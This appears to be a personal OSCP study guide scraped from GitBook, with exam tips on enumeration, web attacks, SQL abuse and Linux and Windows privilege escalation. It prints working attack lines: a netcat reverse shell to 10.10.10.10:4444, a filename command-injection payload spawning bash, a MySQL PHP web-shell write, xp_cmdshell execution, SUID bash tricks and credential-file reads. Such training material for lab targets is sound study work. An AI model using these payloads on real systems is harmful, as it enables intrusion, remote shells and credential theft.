![Cover](https://hackwithmike.gitbook.io/oscp/~gitbook/image?url=https%3A%2F%2F2332430602-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhHz44cAHiI6wlOqwGwj6%252Fuploads%252FY9AdeolxmYqs4npesGzx%252Fcat-nerd.gif%3Falt%3Dmedia%26token%3D51b3cbff-8785-43e7-9e70-88796291ede7&width=490&dpr=3&quality=100&sign=91b257aa&sv=2)

**OSCP Methodology**

My detailed OSCP methodology

[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips)

![Cover](https://hackwithmike.gitbook.io/oscp/~gitbook/image?url=https%3A%2F%2F2332430602-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhHz44cAHiI6wlOqwGwj6%252Fuploads%252FhM1yb4L9PZRaGEl87xpC%252Frandombullshitgo.png%3Falt%3Dmedia%26token%3Dafbb539f-4f99-4bee-b872-6bb70f57c6fb&width=490&dpr=3&quality=100&sign=da562a58&sv=2)

**OSCP Last Minute Tips**

Some plug-and-play tricks you may use in the exam

### About Me[](https://hackwithmike.gitbook.io/oscp#about-me)

I am Mike, and I am currently a Cybersecurity Consultant specializing in offensive security. I hold certification such as OSCP+, OSCP, eCPPT, Security+, and more. I have a passion in sharing what I know, and I also believe that is the best (and probably only) way to consolidate my learning and structure my knowledge base.

### Follow Me[](https://hackwithmike.gitbook.io/oscp#follow-me)

You may find me on [LinkedIn](https://www.linkedin.com/in/michael-kh-chan/)
. I'm always happy to talk & connect!

Last updated 7 months ago

---

# OSCP Last Minute Tips | Mike's OSCP Guide

For the complete documentation index, see [llms.txt](https://hackwithmike.gitbook.io/oscp/llms.txt)
. This page is also available as [Markdown](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips.md)
.

**Important Notice**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#important-notice)

----------------------------------------------------------------------------------------------------------------

⚠️ **I have migrated all my notes to the new website:** [**https://hackwithmike.com**](https://hackwithmike.com/)
**. All future updates will only be pushed on the new site** [**https://hackwithmike.com/oscp**](https://hackwithmike.com/oscp)
**/.**

Introduction[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#introduction)

----------------------------------------------------------------------------------------------------

* * *

If you're looking for a more detailed methodology for navigating OSCP boxes, check [this](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology)
 out. The tips here are some quick tricks to try when you are running out of ideas.

![](https://hackwithmike.gitbook.io/oscp/~gitbook/image?url=https%3A%2F%2F2332430602-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FhHz44cAHiI6wlOqwGwj6%252Fuploads%252FhM1yb4L9PZRaGEl87xpC%252Frandombullshitgo.png%3Falt%3Dmedia%26token%3Dafbb539f-4f99-4bee-b872-6bb70f57c6fb&width=768&dpr=3&quality=100&sign=da562a58&sv=2)

General Tips (Applicable to all OS)[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#general-tips-applicable-to-all-os)

------------------------------------------------------------------------------------------------------------------------------------------------

* * *

### **Initial Foothold**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#initial-foothold)

#### **Initial Scans & Enum:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#initial-scans-and-enum)

Rerun Scans

Beware of Rabbit Holes

Scan UDP Ports

Poking Ports

Scans can sometimes return false positives or missing ports due to different reasons.

*   Revert all the machines at the start of the exam.
    
*   Revert & rescan the machines midway through your exam, especially when you cannot find a way through.
    

OSCP is an enumeration exam, so there will be a lot of intentionally misleading paths and dead ends (rabbit holes). Moreover, the actual solution is usually broken into partial clues scattered across different services, such as a username on Port 80 (web page) and a password in a file on Port 21 (FTP).

*   Don’t spend too much time at the same spot - Make sure you have covered every other area first.
    
*   Take thorough notes during your enumeration so you can piece the puzzle together.
    

**NEVER forget about UDP Ports!** There could be vulnerable UDP services such as SNMP (running on Port 161/162).

*   Do a quick UDP scan and look for `open` ports.
    
*   Ports with `open | filtered` status are likely just filtered ports.
    

Copy

    sudo nmap <ip> -F -sU -vv

If a port's service cannot be identified by Nmap, use `netcat` or `telnet` to manually interact with the port.

*   Send random strings (and press enter) to see if the port responds.
    
*   Send common command strings such as `help` or `ls` to check if the port is serving some sort of terminals.
    
*   Send `GET / HTTP 1.1`, press enter, and send `Host: test`, and press enter twice to see if it is running a web server. Alternative, try `curl` or `wget` on the port (`http://<ip>:><port>`).
    
    *   This will less likely work since Nmap usually picks web servers up. You can try it regardless if nothing else worked.
        
    
*   Also, googling the particular port (Google: "Port XXX service") is always useful.
    

#### **Shells & Connections:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#shells-and-connections)

Firewalls & Open Ports

Adding hosts to /etc/hosts

Always prioritize using **open ports** on the target machine for listening to reverse shells (i.e., the listening port on our Kali when running `netcat` listener.)

*   Open ports on the target machine are more likely to have exceptions for inbound & outbound connections.
    
*   Alternatively, try common ports: 21, 22, 139, 445, 80, 443, 3389, etc.
    
*   Port 4444 is usually blocked for security reasons.
    

Remember to add potential **hostnames & domains** into our local kali's `/etc/hosts` file.

*   If this is the intended path, you will likely see emails / URLs on the web pages that give you information on the hostname / domain.
    
    *   It is also possible that the box name / service name is used as the hostname.
        
    
*   This may reveal pages with hostname restrictions, or pages behind virtual hosts.
    
*   Also, try enumerate the web pages before adding the hostname. The server may react differently to different hostnames, or no hostname.
    

#### **File Shares:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#file-shares)

Is there also a web server?

Try uploading anyway!

When there is a file share (e.g., SMB / FTP) and a web server running together on the machine, always check if the **web server hosted under the file share's directory**. If that's the case, check if we can:

*   Upload a web shell to the file share, and trigger it via the web page.
    
*   Read sensitive config files and look for credentials to access the web page.
    

Tools like `NetExec` are extremely useful, but they can sometimes be inaccurate. I once checked an SMB share with `NetExec`, and it indicated that I only had read access to the share. However, I was able to **upload files to the SMB share** regardless.

*   Always try using commands like `PUT` to test if you can upload any files. A quick check like this may save you hours of scratching your head, wondering what went wrong!
    

File shares can often run on weak / default credentials. A quick check never hurts.

*   `ftp:ftp`
    
*   `admin:admin`
    
*   `anonymous:anonymous` (Or simple just no password)
    

#### Web Services:[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#web-services)

Dir-busting

Subdomain

Git

Webpage & Source Code

Here are all my directory busting tips and tricks:

*   Try 2 or more different directory busting tools, as well as wordlists. Personally I use `FeroxBuster` and `DirSearch` , with `/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt` , `directory-list-2.3-medium.txt` and `directory-list-2.3-big.txt`.
    
*   Always do **recursive directory busting**.
    
    *   `FeroxBuster` does this by default, but it can be slow sometimes.
        
    
*   Try add **file extensions** (e.g., `.pdf`, `.php`, etc.) if the initial busting returns nothing.
    
    *   For example, `/index` may returns 404, but `/index.php` may returns 200.
        
    
*   Try add box name / service name / username as the first directory.
    
    *   For example, if you suspect WordPress is running on the web server, but you can't find anything, try do directory busting with this base URL instead: `example.com/wordpress/`.
        
    
*   For Directory-like results that do not show as "Open Directory Listing " (e.g., `example.com/test/`), always try visit the URL anyway, as some pages are configured with hidden index pages.
    

Always perform subdomain enumeration. I find this less common in OffSec's Proving Ground (PG) boxes, but very common in HTB & TryHackMe boxes.

*   `Gobuster`'s `vhost` mode works best for me:
    

Copy

    gobuster vhost -u http://<ip> -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain <domain> | grep "Status: 200"

*   There could be hidden admin panels, API endpoints, sites that are still in development (`.git` lying somewhere maybe?), etc.
    
*   Always remember to perform **directory busting** on the newly discovered subdomain endpoints.
    

The `.git` directory is a gold mine if you found it via directory busting. Some wordlists may miss it, so make sure you run multiple wordlists and tools.

*   Use [git-dumper](https://github.com/arthaud/git-dumper)
     to dump the `.git` directory (Amazing tool).
    
*   Suppose the .git directory is located at `example.com/.git/`:
    

Copy

    git-dumper http://example.com ./output_folder

*   Read through the source codes to look for hard-coded credentials, session tokens, or vulnerable codes such as LFI & SQL injections.
    
*   Use `git show` and `git diff` to look for commit changes. There may be credentials that were deleted, but were logged in the commit changes.
    

Always look for potential usernames / emails / credentials on page contents.

*   Check HTML source codes (Hard-coded credentials / Developer comments / Hidden endpoints, etc.).
    
*   Understand all functionalities, such as user login, file upload, etc, so that you can focus on or skip relevant attack vectors based on the existing functions.
    

SQL Injections

File Read

File Write

File Upload

Don't just spam `'OR 1=1 -- //` for potential SQL injections, as SQLi is not always about authentication bypass. Here are a few SQL injections tips & tricks:

*   Using `'` is the most common way to test for error-based SQL injections. However, don't miss out on Blind SQLi (with sleep /delay functions). Try double quotes too (`"`).
    
*   If SQL injection is possible, try the following items:
    
    *   **Authentication Bypass**
        
    *   **Remote Code Execution**
        
    *   **Dumping Database Info**
        
    *   **System File Read / File Write**
        
    
*   Pay attention to the SQL service in use, as different SQL services have different syntaxes.
    
    *   For example, commenting out is `-- -` in MSSQL, but `-- //` in MySQL.
        
    

There is a lot that we can look for with local file read vulnerability.

*   `/etc/passwd` & `/etc/shadow` files on Linux.
    
*   SSH Keys (Usually located under `/home/<user>/.ssh` on Linux, or `C:\Users\<user>\.ssh` on Windows. They can also be on the user's Desktop, or other similar folders.)
    
    *   Especially when you see SSH is up on the server.
        
    
*   Config files (Especially for web servers & file shares)
    
    *   May require some research on the services in use. Go through the documentations if needed.
        
    *   Files like `config.php` in PHP applications usually hold the database credentials.
        
    *   `.htaccess` is one of the most common config files that contains useful information. It usually lies on the web root.
        
    
*   Log Files (E.g., Access Logs, Error Logs, etc.)
    
*   History Files (E.g., Bash History, PowerShell History)
    
*   For Linux: `/proc` files. (See more [here](https://highon.coffee/blog/lfi-cheat-sheet/#procselfenviron-lfi-method)
    )
    

If file write is possible, there are usually 2 scenarios:

1.  We can write and access a **web shell****.**
    
    *   Look for an accessible web directory that we can visit and trigger the web shell.
        
    *   For PHP apps, if `phpinfo()` is present, we can check the full web directory path.
        
    *   For Linux, try `/var/www/html/`as the web root.
        
    
2.  We can **overwrite** some important system files and bypass authentication.
    
    *   E.g., Overwriting the SSH public key with our public key.
        
    *   E.g., Appending a new root user to the `/etc/passwd` file.
        
    *   E.g., Rewriting the `.htaccess` to bypass access restrictions, and allow uploading & execution of certain file extensions (e.g., `.php`).
        
    

If file upload is possible, there are usually 4 scenarios:

1.  We can upload and access a **web shell / reverse shell** (May require restriction bypass).
    
2.  We can **overwrite** some important system files and bypass authentication.
    
    *   E.g., Overwriting the SSH public key with our public key.
        
    
3.  We can upload a malicious file and wait for **user interactions**.
    
    *   Less likely in the exam - and there should be hints if it is intended (e.g., "`An administrator will review this file.`")
        
    
4.  It is a rabbit hole :'(
    

HTTP Request Methods

Try switching between different HTTP request methods (e.g., `GET` / `POST`) to see if the server responds differently. Detailed error messages may return, etc.

*   Try changing a `GET` request to a `POST` request, and vice versa.
    
*   Supply some random parameter values (e.g., `GET /index.php?test=123`) to check if the server responds with hints on the correct parameters.
    

#### Databases:[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#databases)

SQL File Read & Write

SQL Code Execution

Dumping User Creds

Always check if the SQL service allows file read / write. Follow the same tips on exploiting file read & write in the Web Service section.

For **MSSQL**:

*   File Read
    
    Copy
    
        SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
    
*   Enabling File Write
    
    Copy
    
        sp_configure 'show advanced options', 1; RECONFIGURE; sp_configure 'Ole Automation Procedures', 1; RECONFIGURE
    
    *   Requires Admin Privilege.
        
    

For **MySQL:**

*   File Read
    
    Copy
    
        SELECT LOAD_FILE("/etc/passwd");
    
*   File Write
    
    Copy
    
        SELECT "<?php echo shell_exec($_GET['cmd']);?>" INTO OUTFILE '/var/www/html/webshell.php';
    

If misconfigured, it is possible to execute system-level commands via SQL services.

*   For MSSQL, we can use xp\_cmdshell to execute commands if it is enabled, or if we can enable it.
    
*   Copy
    
        EXECUTE xp_cmdshell 'whoami';
    

*   For MySQL, user-defined functions (UDF) are required to execute system commands, and it is mostly used during privilege escalation, not initial access.
    

Suppose you have obtained access to the SQL database, always check the non-default databases and tables to look for user credentials.

*   For examples, many CMS store user password hashes in a `users` table. We can dump the hashes and crack them to obtain plaintext passwords.
    
*   For MySQL, we should also dump the MySQL user credentials with the following command:
    
*   Copy
    
        SELECT * FROM mysql.user;
    

#### Login & Password Attacks:[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#login-and-password-attacks)

Default Credentials

Try Usernames as Passwords

Always try default or weak credentials - `admin / admin`, `admin / password`, you name it. These are easy quick wins and should always be tried first before doing any hard work.

*   Google the service name & version + default credentials.
    
*   Try `admin:admin` and all those similar stuff.
    

It is always possible that the passwords are configured conveniently as the username or the service's name. For example, the [default pre-built Kali Linux VM image](https://www.kali.org/docs/introduction/default-credentials/)
 uses the credential pair: `kali:kali`.

*   Spray the usernames as passwords.
    
    *   E.g., `john:john`, `mary:mary`, etc.
        
    
*   Also, try use service names as passwords.
    
    *   E.g., for Tomcat, use `tomcat:tomcat`, for FTP, use `ftp:ftp`, etc.
        
    

While it is unlikely for many cases, it never hurts to run some quick brute-force attacks, especially when you have run out of ideas.

*   Run a quick brute-force login attack with `rockyou.txt` on available services. If this is intended, it should be cracked right away (or at least under 10-20 minutes).
    

#### Public Exploits:[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#public-exploits)

Revert!

(Authenticated)

Appending http://

When in doubt, revert the machine.

*   Sometimes our previous exploitation attempts may have caused unexpected behaviours in the target machine.
    
*   I once tried to set up some port-forwarding rules on the machine to run an exploit, but I was using the wrong exploit, so the attack did not work. I later found and ran the correct exploit, but it was not working as intended, likely due to the previous port-forwarding attempts. Reverting the machine solved the issue.
    

If the exploit does not specify "**Authenticated**", try running it **without authentication**.

*   For example, it is possible that we can directly send a crafted HTTP request to an internal endpoint without needing to be logged in.
    
    *   Here's an example of a PoC that looks like an authenticated exploit, but it can actually be used without authentication: [Free School Management Software 1.0 - Remote Code Execution (RCE)](https://www.exploit-db.com/exploits/50587)
        .
        
    

Try adding `http://` to the URL parameter if the web exploit is not working.

*   E.g., `192.168.1.1` --> `http://192.168.1.1`.
    
*   As some exploits are written with a full URL target in mind.
    
*   Always read through the exploit codes to understand how the payload is crafted.
    

Different version of the same exploit

Try Different Encoding

For some vulnerabilities, there may be **multiple available exploits** online. I always recommend to try out the simpler ones first, as the more complex ones can be much more difficult to debug.

*   Even when the simpler ones do not work for the first time, I would go through the exploit codes to make sure I am not making mistakes in supplying the arguments, haven't clean up the exploit codes, etc.
    
*   There may also be multiple exploits on the same attack vector. For example, a particular version of a CMS can have both a File Read vulnerability and an Authentication Bypass vulnerability. It will never be a bad idea to try both, but it is better to try understanding what exactly are we looking for in the attack.
    

Try to encode your payloads in different formats when they are not working (and you believe they are supposed to).

*   Always URL-encode the payloads for web exploits, especially those that are sent through URLs (`GET` requests).
    

Here is another example payload of inject a command into a Linux file name:

Copy

    cp cat.jpg '|cat"`nc 10.10.10.10 4444 -e /bin/bash`".jpg'

*   This will not work due to the slash in `/bin/bash` . The Linux system cannot process filenames with slashes.
    
*   To make the payload work, we have to encode the payload in Base64:
    

Copy

    cp cat.jpg '|en"`echo <base64-encoded-payload> | base64 -d | bash`".jpg'

### Privilege Escalation[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#privilege-escalation)

#### **Initial Scans & Enum:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#initial-scans-and-enum-1)

Automated Enumeration Scripts

Re-read the Output!

Always run multiple different enumeration scripts when stuck.

*   For example, I always run `WinPEAS`, `PowerUp.ps1`, and `jaws-enum.ps1` on a Windows target, as each of them has a different way of presenting their output, and they sometimes use different methods in checking the same vulnerabilities.
    
*   This also helps to filter out potential false positives.
    

Sometimes the automated scripts (or the exploits) may have given you what you need, they may just be right under your nose. Always re-read the output **line-by-line** if you are stuck!

*   I was once stuck for more than hours on a pivoted user, as I can't find anything useful on their directories, nor authenticating to other services. I finally gave up and re-ran WinPEAS for the last time, and I realize there was a credential stored in the registry, and I had missed that line of output the whole time.
    

#### Services:[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#services)

Versions

Port-forwarding Internal Services

Don't sleep on the service version when performing privilege escalations. The attack path could be to exploit an outdated and vulnerable internal application with publicly available exploits.

*   You can check them either by interacting with the binary in CLI (e.g., adding `-h`), or running the application in GUI and check the about section.
    

#### Login & Password Attacks:[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#login-and-password-attacks-1)

Spraying SSH keys

SSH keys can be sprayed both externally and internally.

*   Some SSH keys may be configured to only work in the internal network, or even in the local machine (127.0.0.1). If spraying them externally does not return anything, try to spray them again internally. For example, run this command on the target machine:
    
*   Copy
    
        ssh root@127.0.0.1 -i id_rsa
    

**Sensitive Information:**

Config Files

Interesting Files

Always enumerate config files for more credentials, even after you obtained an initial shell.

*   Say if you uploaded a web shell and has successfully obtained a shell as `www-root`. We should always go back to the web server directory and go through all the readable config files to look for hard-coded credentials. In many cases, we may find database connection credentials that were previously unknown to us.
    
*   As **password reuse** is very common, we can try to use the obtained credentials as is, or we can also spray the password to other usernames to see if different users share the same password.
    

Through enumeration is always the key. Don't skip any potentially interesting files!

*   I have once found the root password within a mail file in the `/var/mail` directory, which usually does not contain any files.
    

**Pivoting:**

Lateral Movement

Quite often the attack path can involve **lateral movements between multiple users**, before reaching the final root account. So if you see more than one users in under the `/home` or `c:\users` directory, there is a high likelihood that several lateral movements are needed.

*   Let's say you obtained a shell as `www-data`. It is possible that you cannot escalate to root directly from `www-data`, but instead have to find a password in the web config file, spray that password on a local user `john`, then you exploit an internal service as `john` to gain access to another user `peter`, and finally escalate to root by `sudo` with `peter`.
    

Linux-specific Tips[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#linux-specific-tips)

------------------------------------------------------------------------------------------------------------------

* * *

### **Privilege Escalation**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#privilege-escalation-1)

#### **Services & Processes:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#services-and-processes)

Analysing Binaries

Analysing System Processes

Run `strings` & `strace` on suspicious binaries.

*   This may reveal plaintext passwords, commands, other executables being called, potential Shared Objection injection, etc.
    

When running `ps aux`, don't just grep the output from the root user.

*   Always also grep the processes that belongs to other human users, as we may learn what have other users executed, as well as discover potential credentials used within the command they executed.
    

#### **Sensitive Information:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#sensitive-information)

Alias

/media, /mnt & /opt

binwalk

Don't forget to run the `alias` command to check what command alias were set.

*   In realistic scenarios, system administrators may have created command alias for commonly used commands, and some of these commands may contain user credentials.
    

Always check the `/media`, `/mnt` and `/opt` directories for uncommon applications and files.

*   The `/opt` directory often contains non-standard installations of services, or directories that contain sensitive information.
    
*   While less commonly seen, the `/media` and `/mnt` directories sometimes contain juicy files, such as USB drives, mounted NFS shares, etc.
    
*   The `/tmp` folder is also always worth checking.
    

For all sorts of compressed & archived files, we can use the `binwalk` command to read the archives within the file:

Copy

    binwalk [filename]

*   Since spreadsheet files such as `.xlsx` and `.xlsm` are just compressed files, we can read the Marcos in the format of XML files by extracting them from the excel files.
    

We can do this to extract all files from the XLSM file:

Copy

    binwalk -e [filename]

#### **Group Membership:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#group-membership)

Group Permission

Group Membership can be a privilege escalation vector if our user belongs to some of the privileged groups. Also check if other users are in these interesting groups, as they may be the target for lateral movements.

*   Common privileged groups on Linux:
    
    *   **LXC / LXD** (Abusing Container Privileges)
        
    *   **Docker** (Abusing Container Privileges)
        
    *   **Disk** (Full File Read & Write Privileges)
        
    *   **ADM** (Privileges to Read Logs)
        
    

#### Scheduled Tasks / Cron Jobs:[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#scheduled-tasks-cron-jobs)

pspy

Script Files

Exploiting Cronjobs

[Pspy](https://github.com/DominicBreuker/pspy)
 is the best tool to monitor all processes and potential cronjobs on a Linux machine.

*   We can monitor all live running processes without needing root privileges. This is extremely useful for detecting cronjobs that runs in a fixed interval (e.g., 1 minute),
    
*   This is especially useful when we do not have access to crontab, or crontab is not showing anything but we suspect there are cronjobs.
    

Sometimes we may not have visibility on the processes and crontabs to validate if there are any cronjobs running. However, we should always look for any suspicious script files within the system.

*   It is possible that the root user is running that particular script file as a cronjob, but we just don't have the visibility on the actual running process.
    

When exploiting cronjobs, a common attack technique is to use the root privilege to create a copy of the Bash binary and adding the SUID bit to that copied binary. Below is an example payload:

*   Copy
    
        cp /bin/bash /tmp/bash & chmod +s /tmp/bash
    
*   However, I have found this payload occasionally not working.
    
*   Here are some other alternative payloads you can run:
    
    *   One, simply adding the SUID bit to the /bin/bash binary directly:
        
    *   Copy
        
            chmod u+s /bin/bash
        
    *   Two, create a reverse shell to your Netcat listener. The connected shell will be running as root:
        
    *   Copy
        
            rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 > /tmp/f
        
    

Moreover, the exploitation techniques in [GTFOBins](https://gtfobins.github.io/)
 are not limited to `sudo` & SUID attacks only. As long as the process or binary can be executed by root (here via root-user Cronjobs), we can apply the same technique to escalate our privileges.

Windows-specific Tips[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#windows-specific-tips)

----------------------------------------------------------------------------------------------------------------------

* * *

### **Initial Foothold**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#initial-foothold-1)

#### **Client-side Attack:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#client-side-attack)

NTLM Theft

Suppose this is the intended attack path, there should be hints on locations and areas that users may visit and interact with.

*   For example, there may be a feedback form with a note saying that the administrator will go through all of the comments.
    
*   Alternatively, it is also possible that we can force an NTLM theft without needing the user to react to our payloads. Try to look for user input areas where we can direct the connection towards our controlled SMB server, for examples:
    
    *   `xp_dirtree` in MSSQL.
        
    *   File Inclusion that allows visiting an SMB share.
        
    *   A function that will visit any URLs (including SMB URIs).
        
    

#### **Shells & Connections:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#shells-and-connections-1)

PowerShell Payloads

Slashes

When running a Windows reverse Shells, always use the PowerShell Base64 payload, as it has the highest success rate.

*   Since the payload is Base64 encoded, it has the lowest risk of being corrupted midway during transmission.
    

If a Windows payload is not working, we can try changing forward slashes (`/`) to backslashes (`\`), and vice versa.

*   Different tools and exploits may be crafted in different languages and formats, so that the format of slashes are not consistent across them.
    

### **Privilege Escalation**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#privilege-escalation-2)

#### **Kernel Exploits:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#kernel-exploits)

Try Multiple Exploits

Older Windows

If we are certain that the kernel is vulnerable, we should always try to run a few different applicable exploits, since not all of them may work due to multiple reasons.

For older Windows Systems (e.g., Windows 7), they are most likely to be vulnerable to the well-known SMB exploits.

*   We can run a Nmap SMB scripts can them to check if they are vulnerable.
    
*   Copy
    
        nmap -vv -p 139,445 --script smb* <ip>
    
*   Copy
    
        nmap -vv -p 139,445 --script smb-vuln-ms* <ip>
    
    *   Sometimes the first script scan may miss some of the scripts like MS-17010. Just run both to be safe.
        
    

Since the older systems are severely out-of-date, they may look vulnerable to multiple vulnerabilities. However, some of them may be patched and could be rabbit holes.

*   Don't stay on one exploit for too long if it does not work. Retry the previous ones, or move on to new ones.
    

#### **Group Memberships:**[](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips#group-memberships)

Restore Local Service Privileges

Sometimes we may have compromised a `LOCAL SERVICE` or `NETWORK SERVICE` account, but its privileges were missing. This is because the account may be configured to be running with a restricted sets of privileges.

*   It is possible to recover its permissions by creating a scheduled task. The new process created by the `Task Scheduler Service` will have all the default privileges of the associated user account.
    
*   You may read more about this on [here](https://github.com/itm4n/FullPowers)
     and [here](https://itm4n.github.io/localservice-privileges/)
    .
    

[PreviousOSCP Methodology](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology)

Last updated 7 months ago

---

# Unknown

\# Mike's OSCP Guide

## OSCP Guide

- \[Mike's OSCP Guide\](https://hackwithmike.gitbook.io/oscp/welcome.md)
- \[OSCP Methodology\](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology.md)
- \[OSCP Last Minute Tips\](https://hackwithmike.gitbook.io/oscp/methodology/oscp-last-minute-tips.md)

---

# Unknown

\> For the complete documentation index, see \[llms.txt\](https://hackwithmike.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://hackwithmike.gitbook.io/oscp/methodology/oscp-methodology.md).

# OSCP Methodology

## \*\*Important Notice\*\*

⚠️ \*\*I have migrated all my notes to the new website:\*\* \[\*\*https://hackwithmike.com\*\*\](https://hackwithmike.com)\*\*. All future updates will only be pushed on the new site\*\* \[\*\*https://hackwithmike.com/oscp\*\*\](https://hackwithmike.com/oscp)\*\*/.\*\*&#x20;

## Introduction

\*\*\*

The OSCP is an practical hacking exam with a strict 24-hour time constraint. Therefore, time management is the most important aspect of the exam. The ability to identify potentially vulnerable attack vectors within the time constraint is key —you can always research and learn the exploitation process on the fly.

Note that this guide expects you to have basic understanding on hacking and the OSCP exam itself.&#x20;

To begin with, let's filter out what we <mark style="color:orange;">\*\*should not spend time on\*\*</mark>. Here is what you will likely not expect in the OSCP exam:

\* \*\*OSINT\*\* (E.g., Google Dorking & DNS enumeration).
\* \*\*Network Poisoning and Spoofing\*\* (LLMNR / NBT-NS Attacks)
\* \*\*Client-side Attacks\*\* (E.g., Phishing, XSS, CSRF, etc - highly unlikely)&#x20;
  \* Some practice boxes on PGs and HTBs do simulate client interactions.
  \* In the case that this is the intended path, there should also be hints (e.g., "An admin will review your comment")

With these constraints \*(plus the fact that OSCP is an entry-to-intermediate level certification)\*, we can expect a limited number of possible attack vectors, which can mostly be grouped into the following 3 categories:

{% stepper %}
{% step %} <mark style="color:green;">\*\*Vulnerable Versions\*\*</mark> & Public Exploits
{% endstep %}

{% step %}
Secure Versions but <mark style="color:green;">\*\*Misconfigurations\*\*</mark>
{% endstep %}

{% step %}
Hunting <mark style="color:green;">\*\*Sensitive Information\*\*</mark>
{% endstep %}
{% endstepper %}

Noted that the 3 categories can be mixed & matched in a full attack path. For example:

\* Vulnerable Apache Web Server \*(Vulnerable Version)\* -> Path Traversal into reading SSH Private Key \*(Misconfiguration & Sensitive Information)\*.
\* Anonymous SMB Share \*(Misconfiguration)\* -> Discovered user credentials \*(Sensitive Information)\*.
\* Username used as Password \*(Misconfiguration)\* \*->\* Run an authenticated RCE exploit \*(Vulnerable Version)\*.

These three attack vectors apply not only to initial footholds but also to privilege escalation and Active Directory attacks. It is a cyclic process:&#x20;

{% stepper %}
{% step %}
Enumerate the three vectors.
{% endstep %}

{% step %}
Escalate privileges (Could be lateral - another user account).
{% endstep %}

{% step %}
Re-enumerate the three vectors with new privileges.
{% endstep %}

{% step %}
Escalate to higher privileges.
{% endstep %}

{% step %}
Repeat until root / administrator.
{% endstep %}
{% endstepper %}

As the old saying goes — OSCP is an <mark style="color:orange;">\*\*enumeration exam\*\*</mark>. If you find yourself crafting complex exploits, or fixing kernel driver dependencies, you are likely 90% on the wrong path. Try to take a step back and redo your enumeration, such as look for another available public exploit, a previous missed open port, some hidden credentials, etc.

## Vulnerable Versions

\*\*\*

Vulnerable versions of services and applications are usually quick wins when there are <mark style="color:orange;">\*\*Proof-of-Concepts (PoCs)\*\*</mark> and <mark style="color:orange;">\*\*Public Exploits\*\*</mark> available out there.&#x20;

### Key strategies

{% stepper %}
{% step %} <mark style="color:purple;">\*\*Enumerating versions\*\*</mark>

Use automated scanning tools like \`nmap\`, \`netcat\`, \`wpscan\`, etc., to perform banner grabbing or service scanning. Manually walk through each running services and look for service & version information.&#x20;
{% endstep %}

{% step %} <mark style="color:purple;">\*\*Look for public exploits\*\*</mark>

Utilize \`searchsploit\`, GitHub repos, \[Exploit-DB\](https://www.exploit-db.com/), etc., for existing public exploits.
{% endstep %}

{% step %} <mark style="color:purple;">\*\*Fixing and using exploits\*\*</mark>

Make sure the exploit is applicable to the service version. Some exploits have a range of vulnerable versions, and older versions may not be vulnerable. Also some public exploits require fixing and modifying before using.
{% endstep %}
{% endstepper %}

If you find a vulnerable version with public exploit available, prioritizing trying out all the available exploits online. Don't spending too much time on making your own exploits or bypassing filters. OSCP is all about finding and using the right exploit, with a slight touch on "<mark style="color:orange;">\*\*fixing the exploit\*\*</mark>" (which is usually just changing the target IPs, fixing typos, removing unnecessary spaces, etc.)

{% hint style="danger" %}
\*\*Beware of Rabbit Holes\*\*

It is always possible that the vulnerable versions have already been \*\*patched\*\*, and they are only here as rabbit holes. So if you find the public exploits not working despite all the conditions are met, take a step back and re-enumerate other possible attack paths.&#x20;
{% endhint %}

### Enumerating Versions

{% tabs %}
{% tab title="Web Pages" %}
This is the most common attacker vector of outdated version attacks. It could be in the form of an outdated CMS, a web portal for vulnerable systems, a page running on outdated web servers, etc.

